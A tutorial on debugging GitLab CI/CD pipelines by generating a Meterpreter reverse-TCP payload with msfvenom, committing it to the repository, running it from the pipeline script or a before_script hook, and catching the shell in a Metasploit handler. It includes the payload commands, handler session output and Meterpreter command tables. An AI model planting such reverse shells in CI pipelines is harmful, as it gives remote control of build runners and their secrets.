Debug GitLab CI/CD Pipelines with Metasploit
Many individuals frequently encounter difficulties when troubleshooting their pipelines. Often, the common approach to debugging these pipelines involves employing a trial and error methodology. However, a superior solution exists that is both more sophisticated and efficient.
By injecting code between the commands one wishes to troubleshoot, and then having full environment access along with the tools required to perform tests and analysis represents the ideal scenario. Considering the requirements:
- Direct connection to the runner instance is not always possible, so the runner must connect to your server.
- Runners can be executed inside a cluster (Kubernetes, Docker Swarm, AWS ECS, etc.), so the tool and connection method must accommodate this.
- The injected binary must have the minimum amount of dependencies possible, requiring no further setup.
- The binary must include tooling to facilitate the troubleshooting process, such as tools for downloading, uploading and manipulating files, troubleshooting network connections and connectivity issues, and handling processes.
This concept can be reused with other CI/CD tools, such as GitHub Actions, Travis CI, and Jenkins.
Meterpreter
Meterpreter is a powerful and versatile post-exploitation tool widely used in the field of cybersecurity. Developed as part of the Metasploit Framework, Meterpreter is designed to provide remote access and control over compromised systems, allowing penetration testers and security professionals to interact with target machines seamlessly.
Meterpreter fulfills all our requirements: it operates using several connection methods including reverse connection, can be generated without any dependencies, and includes a comprehensive set of tooling which we can leverage to debug CI/CD pipelines.
Generate a Meterpreter payload
The first step in this demonstration is to generate the binary payload to be used. Once Metasploit is installed, simply run:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > meterpreter.elf
To facilitate the process, on systems with multiple network cards, it is
common for the first one to be a loopback
interface. The bash function below
gets the first IP address after the loopback
interface:
function msfvenom-linux-meterpreter-default() {
local LHOST="${1:-$(ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | head -2 | tail -1)}"
local LPORT="${2:-4444}"
echo "[+] Creating a reverse connect meterpreter payload for ${LHOST}:${LPORT}"
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=${LHOST} LPORT=${LPORT} -f elf > meterpreter.elf
echo "[+] Result saved to meterpreter.elf"
}
Nothing more is required to create a Meterpreter binary. If you run the
function msfvenom-linux-meterpreter-default
without any parameter, the first
network interface after loopback
will be used, or you can specify the IP
address which the Meterpreter payload will use as the first parameter. The
second parameter is the port to which it will connect; the default is 4444
if
no port is set.
We can easily check if the resulting binary is statically linked:
ldd ../../meterprefer.elf
statically linked
Other networking aspects should also be taken into consideration. In case you
are behind a firewall, opening the respective ports and configuring proper
forwarding is required. If you are using NixOS
, you will need to setup your
local firewall as follows:
networking.firewall = {
enable = true;
allowedTCPPorts = [ 4444 ];
};
Serving the binary
There are three main ways in which the binary can be injected into the CI/CD pipeline:
- Add it directly to the git, commit and push it.
- Encode it with base64 and inject it into the pipeline definition, and during runtime convert it to a binary.
- Serve it over the network and download it as a step on the pipeline.
For the sake of simplicity, we will proceed by adding it to the repository as a binary file.
Executing
Before proceeding with the pipeline, the next step is to setup Metasploit and
listen for the connection from the binary. Start msfconsole
on your platform
and use the following commands, adjusting them based on the arguments used when
creating the binary:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.15.22
LHOST => 192.168.15.22
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.15.22:4444
GitLab Runner Job Definition
For demonstrating this technique, a simple pipeline like the one below can be used to attest the functionality and capabilities described in this document. Add the following file to your repository, commit and push it.
stages:
- run
Run:
stage: run
script:
- chmod +x meterpreter.elf
- ./meterpreter.elf
If CI/CD
is not shown on the left menu, select Settings > General
. On this
page expand Visibility, project features, permissions
, in the Repository
section, turn on CI/CD
, then select Save changes. On real pipelines you may
be interested in using before_script
to execute the injected binary:
.start_debug_session:
before_script:
- chmod +x meterpreter.elf
- ./meterpreter.elf
my_failing_job:
extends: .start_debug_session
script:
- pytest
Shell
After putting all the pieces together and triggering the pipeline, you should be presented with similar messages on your Metasploit terminal.
[*] Meterpreter session 1 opened (192.168.15.22:4444 -> 192.168.15.22:33800) at 2023-07-28 23:46:41 +0200 msf6 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/linux rafael @ localhost 192.168.15.22:4444 -> 192.168.15.22:33800 (192.16 8.15.22)
You can use sessions -i
to interact with a connection, and Ctrl+Z
to stop
interacting with it without killing it. Once the connection is in place, you
have a full shell, along with many other useful commands which you can use to
debug your pipelines:
meterpreter > ls Listing: /var/lib/private/gitlab-runner/builds/s5L862kM/0/rafael/test-debug-gitlab =============================================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040755/rwxr-xr-x 86 dir 2023-07-29 02:26:42 +0200 .git 100644/rw-r--r-- 130 fil 2023-07-29 02:26:41 +0200 .gitlab-ci.yml 100644/rw-r--r-- 6225 fil 2023-07-29 02:25:31 +0200 README.md 100755/rwxr-xr-x 1038520 fil 2023-07-29 02:26:15 +0200 meterpreter.elf
System commands
Command Description ------- ----------- execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes shell Drop into a system command shell suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS
File commands
Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file chmod Change the permissions of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory
Networking commands
Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table